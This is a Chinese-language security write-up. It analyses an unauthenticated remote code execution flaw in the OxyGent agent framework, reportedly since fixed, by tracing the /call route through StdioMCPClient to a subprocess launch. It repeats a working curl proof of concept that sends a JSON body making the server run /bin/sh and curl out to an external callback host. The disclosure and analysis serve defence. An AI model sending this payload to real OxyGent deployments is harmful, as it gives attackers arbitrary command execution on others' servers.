当前分析版本: 截止 2025.10.20 最新提交 Commit:c3c7fa2cea5eb4990d51871bd9c4dfedea7ace2c
漏洞已经在报告提交后于 9e9ae3062b0e371f8818ee8b22ab48e4a8729491 修复。(2025-11-24)
免责声明:
本文基于公开的开源项目代码进行安全分析,仅用于安全研究、教学与防御目的,不构成对任何系统的攻击建议或利用指南。
文中涉及的 PoC、EXP 及相关技术细节,仅允许在 合法授权 的前提下用于测试与学习。禁止将本文内容用于未授权的渗透测试、入侵行为或其他任何违法用途,否则由此产生的一切法律责任与风险均由使用者本人承担,与作者无关。
本文所提及的漏洞信息与分析结论,仅针对文中注明的代码版本/提交哈希,后续版本可能已修复或发生变更,请以项目官方代码为准。
本文观点仅代表作者个人,与京东及 OxyGent 项目官方无关。如相关方认为本文内容不适合公开,或存在表述不当之处,可联系作者进行修改或下线处理。
项目介绍
Github地址: https://github.com/jd-opensource/OxyGent
OxyGent 是一个开源框架,将工具、模型、智能体统一为可插拔的原子算子——Oxy。专为开发者设计,OxyGent 让你像搭乐高一样构建灵活的多智能体系统,极致可扩展,每一步决策全链路可追溯。从构建、推理到持续进化,OxyGent 打造了一个闭环智能体流水线——无缝集成 Oxy,弹性扩展,协同创新,驱动 AI 生态无限可能。

RCE 演示
先根据官方 readme 部署好项目。
复制官方的 demo.py 准备运行,保证不添加任何外部扩展以免造成干扰。
部署完成后,前端访问如下所示,并可见是没有多余的能执行代码或者任意系统命令的工具的。

POC
curl -s -X POST 'http://<host>:<port>/call' \
-H 'Content-Type: application/json' \
-d '{
"class_attr": {
"class_name": "StdioMCPClient",
"is_keep_alive": false,
"params": {"command": "/bin/sh", "args": ["-lc", "curl -X POST --data hello http://totwzli8.requestrepo.com"]}
},
"arguments": {}
}'
左侧为部署了 OxyGent 服务的运行日志,右侧为攻击POC 及响应。
服务日志和响应为预期现象,不影响命令执行,下文在代码处详细分析。
{
"code": 200,
"message": "SUCCESS",
"data": {
"output": "Error executing oxy stdiomcpclient: unhandled errors in a TaskGroup (1 sub-exception)"
}
}远端观察 dnslog 地址,命令执行成功,成功接收到请求。

代码分析
漏洞RCE实际执行位置如下
oxygent/oxy/mcp_tools/stdio_mcp_client.py:90 在创建 子进程 时传入参数可控。

Source 入口链
在 oxygent/routes.py:244 存在一个POST /call 的 fastApi 接口路由
该路由接收包含 class_attr 和 arguments 的 JSON,然后根据 class_attr.class_name 动态构造 Oxy 实例并执行。

跟进 OxyFactory 即可发现,里面有一个 StdioMCPClient 实例可构造,此即可利用点入口。
此时便可将 POC 的 class_attr 字典传入 StdioMCPClient 实例,形成后续利用。

例如前面传入 POC:
'{
"class_attr": {
"class_name": "StdioMCPClient",
"is_keep_alive": false,
"params": {"command": "/bin/sh", "args": ["-lc", "curl -X POST --data hello http://totwzli8.requestrepo.com"]}
},
"arguments": {}
}'则在下面这两行关键代码中,OxyFactory.create_oxy 返回的 oxy 即为一个 StdioMCPClient 实例,并自动将 class_attr 解包后的字段填入此实例。
# oxy 即 StdioMCPClient 实例
oxy = OxyFactory.create_oxy(item.class_attr["class_name"], **item.class_attr)
# 这里的 arguments 为传入的空参数,不影响后续的 POC 链利用。
oxy_response = await oxy.execute(OxyRequest(arguments=item.arguments)) # oxygent/routes.py:288Sink
StdioMCPClient 继承链
需要注意的是:
调用点
oxygent/routes.py:288构造OxyRequest后调用实例方法execute(...)。因为
oxy是StdioMCPClient,其继承链为StdioMCPClient→BaseMCPClient→BaseTool→Oxy。execute并未在子类中重写,因此调用的是基类Oxy.execute。
对于此 Oxy.execute 方法,大致处理逻辑为:_pre_process 设置 callee/callee_category、node_id、call_stack 等,然后日志和入参消息发送。
我们只需要重点关注到其中这处分支:
# 尝试调用 self.func_execute;若未定义,则调用 self._execute(...)
# self.func_execute 初始默认值是 None 。也就是说,除非在构造实例时通过 Python 代码把一个函数对象传入 func_execute,否则它为 None,很显然前面 source 分析中并没有此情况。
# 对于 StdioMCPClient,_execute 由 BaseMCPClient 重写,因此进入 oxygent/oxy/mcp_tools/base_mcp_client.py:102。
if self.func_execute:
oxy_response = await self.func_execute(oxy_request)
else:
oxy_response = await self._execute(oxy_request)
break

BaseMCPClient._execute 方法重写
oxygent/oxy/mcp_tools/base_mcp_client.py:102 重写 _execute 方法
_execute 内根据标志进入不同的分支:若 not self.is_dynamic_headers and self.is_keep_alive,要求已初始化 _session;否则抛出错误。
从此分支以及结合项目代码可以看出项目原定期望设计大致如下:
在
MAS启动时配置并注册MCP客户端(如StdioMCPClient/SSEMCPClient)到oxy_space,由MAS初始化:初始化时(
keep-alive模式)启动MCP服务端进程(或建立 SSE 连接),创建并持久化_session(mcp.ClientSession)。调用
list_tools()发现远端可用工具;BaseMCPClient.add_tools()为每个远端工具注册一个MCPTool(本地可调用的代理)之后,
Agent在推理中选择某个工具名 → 通过已建立的_session向MCP服务端发起调用,返回结果。
预期:"启动何种服务端进程、传什么参数" 由 "受信任的部署者配置"(注册于
oxy_space,由MAS统一init()),默认keep-alive。
同样的某些 MCP 服务端并非常驻型(例如一次性 CLI/脚本工具),更适合 "每次调用拉起、用完退出" 。这时设置 is_keep_alive=false,走 else → call_tool(...),由子类(如 StdioMCPClient)临时创建传输/会话并调用后释放。
后发现,is_keep_alive 逻辑由此处 commit 添加,由注释可见确实是提供非长连接 MCP 使用。

对于上面的需要初始化的分支,我们不能自主的注册 MCP ,所以利用不了,但是下面的 is_keep_alive=false 分支不需要初始化,而可以直接进入,即预期 RCE 分支。

is_keep_alive
由 oxygent/oxy/mcp_tools/base_mcp_client.py:42 可知, is_keep_alive 默认值来源于 Config.get_tool_mcp_is_keep_alive

继续跟进便可知,在 oxygent/config.py:107 定义 默认 "mcp_is_keep_alive": True


就是说,默认配置下我们是进不去期望的 else 分支的。
但是前面有提到在进入执行链之前构造的 StdioMCPClient 实例有下面处理:
OxyFactory.create_oxy 返回的 oxy 即为一个 StdioMCPClient 实例,并自动将 class_attr 解包后的字段填入此实例。
而 class_attr 为外部传入的可控 json 字典。所以我们只需要在传入 json 中添加一个 "is_keep_alive": false 字段即可覆盖默认值 : True 达到进入期望分支的目的。
'{
"class_attr": {
"class_name": "StdioMCPClient",
"is_keep_alive": false,
"params": {"command": "/bin/sh", "args": ["-lc", "curl -X POST --data hello http://totwzli8.requestrepo.com"]}
},
"arguments": {}
}'call_tool
接下来我们将进入 self.call_tool : oxygent/oxy/mcp_tools/stdio_mcp_client.py:88
call_tool在第一步
get_server_params()->stdio_mcp_client.py:95:从实例的self.params中取command/args/env,构造StdioServerParameters第二步
async with stdio_client(server_params)->stdio_mcp_client.py:90:用上述参数启动子进程(RCE 发生点)第三步
ClientSession(...).initialize()与session.call_tool(...)(即使握手失败(握手失败即导致前面 RCE 演示过程中服务日志报错现象),第二步子进程也已经执行)
需要注意的一点是: 第二步中的 stdio_client 是来自 mcp.client.stdio 的一个异步上下文管理器工厂函数,它按照提供的 StdioServerParameters 启动一个 MCP 服务器进程(用 command/args/env),并把该子进程的 stdin/stdout 封装成一对“读/写”异步流返回,供 ClientSession 使用。

附:POC 下的 server_params

则 stdio_client 将启动一个子进程,并启动指定的 /bin/sh shell 并执行后续的 args 命令且传递当前的环境变量。形成未授权 RCE